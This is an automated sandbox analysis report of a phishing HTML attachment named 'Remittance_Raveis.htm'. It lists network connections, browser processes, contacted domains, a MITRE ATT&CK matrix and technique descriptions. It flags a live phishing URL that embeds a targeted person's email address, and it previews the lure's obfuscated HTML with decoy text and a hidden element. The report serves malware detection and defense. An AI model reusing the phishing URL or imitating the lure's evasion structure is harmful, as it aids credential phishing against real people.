Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64985
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64986
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64999
Source: unknown	Network traffic detected: HTTP traffic on port 65222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64992
Source: unknown	Network traffic detected: HTTP traffic on port 64826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64991
Source: unknown	Network traffic detected: HTTP traffic on port 65033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64996
Source: unknown	Network traffic detected: HTTP traffic on port 64860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64995
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65222
Source: unknown	Network traffic detected: HTTP traffic on port 64824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65001
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64829
Source: unknown	Network traffic detected: HTTP traffic on port 65032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64943
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65006
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65007
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65021
Source: unknown	Network traffic detected: HTTP traffic on port 65020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65018

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Remittance_Raveis.htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1944,i,3959010500343283314,1993937045668508339,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1944,i,3959010500343283314,1993937045668508339,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
k5f9z1.tingbonteri.com	188.114.96.3	true	true	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
static.cloudflareinsights.com	104.16.79.73	true	false	unknown
xoiaa5zz7ijzc3p6xoocpvbctfpd2bg8j7krpd7hksops0jy4lg0vtmplq.gnovesonc.ru	104.21.29.165	true	false	unknown
ax-0001.ax-msedge.net	150.171.28.10	true	false	unknown
ams.creativecdn.com	185.184.8.90	true	false	unknown
stats.g.doubleclick.net	66.102.1.157	true	false	unknown
1589314308.rsc.cdn77.org	169.150.255.183	true	false	unknown
scontent.xx.fbcdn.net	157.240.253.1	true	false	unknown
web10.pro	69.49.245.172	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
googleads.g.doubleclick.net	216.58.212.162	true	false	unknown
asia.creativecdn.com	103.132.192.30	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
widget.usersnap.com	3.122.172.172	true	false	unknown
www.google.com	142.250.181.228	true	false	unknown
made-in-china.com	213.61.193.204	true	false	unknown
td.doubleclick.net	142.250.186.162	true	false	unknown
analytics.google.com	142.250.181.238	true	false	unknown
ib.anycast.adnxs.com	37.252.171.85	true	false	unknown
resources.usersnap.com	3.160.212.126	true	false	unknown
www.made-in-china.com	unknown	unknown	false	unknown
image.made-in-china.com	unknown	unknown	false	unknown
56.163.245.4.in-addr.arpa	unknown	unknown	false	unknown
webim.trademessenger.com	unknown	unknown	false	unknown
fa.micstatic.com	unknown	unknown	false	unknown
f.creativecdn.com	unknown	unknown	false	unknown
pic.made-in-china.com	unknown	unknown	false	unknown
webim.made-in-china.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false	unknown
discovery.micstatic.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
membercenter.made-in-china.com	unknown	unknown	false	unknown
tags.creativecdn.com	unknown	unknown	false	unknown
ib.adnxs.com	unknown	unknown	false	unknown
www.micstatic.com	unknown	unknown	false	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.122.172.172	widget.usersnap.com	United States	16509	AMAZON-02US	false
142.250.185.200	unknown	United States	15169	GOOGLEUS	false
104.18.43.160	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.106	unknown	United States	15169	GOOGLEUS	false
172.64.154.181	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.181.238	analytics.google.com	United States	15169	GOOGLEUS	false
213.61.193.204	made-in-china.com	Germany	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
66.102.1.157	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.18.33.67	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.33.66	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.131	unknown	United States	15169	GOOGLEUS	false
104.18.33.117	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.79.73	static.cloudflareinsights.com	United States	13335	CLOUDFLARENETUS	false
3.160.212.126	resources.usersnap.com	United States	16509	AMAZON-02US	false
142.250.184.195	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.186.162	td.doubleclick.net	United States	15169	GOOGLEUS	false
69.49.245.172	web10.pro	United States	46606	UNIFIEDLAYER-AS-1US	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.64.154.190	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
64.233.167.84	unknown	United States	15169	GOOGLEUS	false
185.184.8.90	ams.creativecdn.com	Poland	204995	RTB-HOUSE-AMSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.29.165	xoiaa5zz7ijzc3p6xoocpvbctfpd2bg8j7krpd7hksops0jy4lg0vtmplq.gnovesonc.ru	United States	13335	CLOUDFLARENETUS	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
157.240.253.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
188.114.96.3	k5f9z1.tingbonteri.com	European Union	13335	CLOUDFLARENETUS	true
142.250.184.238	unknown	United States	15169	GOOGLEUS	false
169.150.255.183	1589314308.rsc.cdn77.org	United States	2711	SPIRITTEL-ASUS	false
103.132.192.30	asia.creativecdn.com	Singapore	138552	RTBHOUSE-AS-APRTBHOUSEPTELTDSG	false
216.58.212.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false

IP
192.168.2.16
192.168.2.6

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529041
Start date and time:	2024-10-08 15:27:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	Remittance_Raveis.htm
Detection:	MAL
Classification:	mal60.phis.evad.winHTM@21/191@59/393
Cookbook Comments:	Found application associated with file extension: .htm

Input	Output
URL: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Performing security verification on your browser.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Verifying... Cloudflare Privacy Terms", "has_visible_qrcode":false}

URL: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Performing security verification on your browser.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Verifying... Cloudflare Privacy + Terms", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["SMART EXPO", "Secured Trading Service", "Star Suppliers", "Selected Supplier"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Made-in-China Connecting Buyers with Chinese Suppliers All Categories Secured Trading Service Video Channel Top-ranking Products Post My RFQ Sign in / Join Messages Inquiry Basket Supplier Buyer Help Apps English Categories Manufacturing & Processing Machinery Consumer Electronics Industrial Equipment & Components Electrical & Electronics Construction & Decoration Light Industry & Daily Use Auto, Motorcycle Parts & Accessories Apparel & Accessories Lights & Lighting Sporting Goods & Recreation Transportation Arts & Crafts Health & Medicine Packaging & Printing Computer Products More Categories SMART EXPO Secured Trading Service Star Suppliers Selected Supplier Selected Trending Products Post Your Request Now", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["SMART EXPO", "Secured Trading Service", "Star Suppliers", "Selected Supplier"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Made-in-China Connecting Buyers with Chinese Suppliers All Categories Manufacturing & Processing Machinery Consumer Electronics Industrial Equipment & Components Electrical & Electronics Construction & Decoration Light Industry & Daily Use Auto, Motorcycle Parts & Accessories Apparel & Accessories Lights & Lighting Sporting Goods & Recreation Transportation Arts & Crafts Health & Medicine Packaging & Printing Computer Products More Categories Categories You May Like Hydraulic Pump 72, 000+ Products Coffee Table 57, 000+ Products Water Purifier 145, 000+ Products Home Furniture 52, 000+ Products Mobility Scooter 41, 000+ Products No desirable products? Post Your Request Now Selected Trending Products", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["SMART EXPO", "Secured Trading Service", "Star Suppliers", "Selected Supplier"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"https://www.made-in-china.com/products/catlist/listsubcat/120/00/mic/Construction_Decoration.html", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["SMART EXPO", "Secured Trading Service", "Star Suppliers", "Selected Supplier"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Made-in-China Connecting Buyers with Chinese Suppliers All Categories Secured Trading Service Video Channel Top-ranking Products Post My RFQ Sign in / Join Messages Inquiry Basket Products Enter a keyword to search products Supplier Buyer Help Apps English Manufacturing & Processing Machinery Consumer Electronics Industrial Equipment & Components Electrical & Electronics Construction & Decoration Light Industry & Daily Use Auto, Motorcycle Parts & Accessories Apparel & Accessories Lights & Lighting Sporting Goods & Recreation Transportation Arts & Crafts Health & Medicine Packaging & Printing Computer Products More Categories", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["TradeMessenger"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Made-in-China Connecting Buyers with Chinese Suppliers", "has_visible_qrcode":false}

URL: https://www.made-in-china.com/ Model: jbxai	{ "brand":["Made-in-China"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Post My RFQ", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Made-in-China Connecting Buyers with Chinese Suppliers", "has_visible_qrcode":false}

Name	Malicious	Reputation
https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com	true	unknown
https://www.made-in-china.com/	false	unknown
file:///C:/Users/user/Desktop/Remittance_Raveis.htm	true	unknown

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 8 12:28:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9863461029127127
Encrypted:	false
SSDEEP:
MD5:	2D236B5A7A100B4CC8980DD56416EC91
SHA1:	F787C1D0EA29CB1D74B0BFD6C92AD3B2C5CAC542
SHA-256:	CE5957C2E5A20C2A9D1FC6D28FA6341B26B0F25C1AA56E6E29C287FBB111FB9E
SHA-512:	C68352B62046B169D14919173B7EC1270051AF3334843B0F9D9A687431F99C6950E9AB54A74BCB91C650CAE9DFF4A5C51FE75A38B1E1E8FA11B04C74C83236D5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....I.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IHY.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VHY.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VHY.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VHY.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VHY.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

File type:	HTML document, ASCII text, with very long lines (4103), with CRLF line terminators
Entropy (8bit):	3.7423672825757364
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	Remittance_Raveis.htm
File size:	6'485 bytes
MD5:	fbbe44fc8f8c9af2ba3659fbcb2f3c4b
SHA1:	df7e42d4023493054844731e4c023cabd0fe1fde
SHA256:	d05473dd6100cb5d88bae011c8df667799d7722c9b64ad550de1ab99d4227abd
SHA512:	a8a0849f2c1240985789f66281c8329fcd7dd3513e5769037035181596ba43a204b1359cbc192b344603f4cc9887ee09affcdd1b8d5f0b1fec851e1956dbba50
SSDEEP:	96:BW0uAZHND0yN+Pr9Qvm26+B5ljhDf5ot5lJbmD6O2XAZTCnyXzFzdXHmK:T0yASm2NpsK
TLSH:	A0D136056EC58B26088782373B994CAAE126DCDF1F4121BE34AC1369E376B21D1DCEF0
File Content Preview:	<html> <span> He crafted a wooden birdhouse for the yard. </span> --><script>..</script>..<h5 style='display:none;'> They explored the city and discovered new places. </h5> ..<script>..koel /* fig */ = `#Mbw

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Remittance_Raveis.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 140

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 151

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 162

Chrome Cache Entry: 166

Chrome Cache Entry: 168

Chrome Cache Entry: 170

Chrome Cache Entry: 173

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 179

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Windows Analysis Report
Remittance_Raveis.htm

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
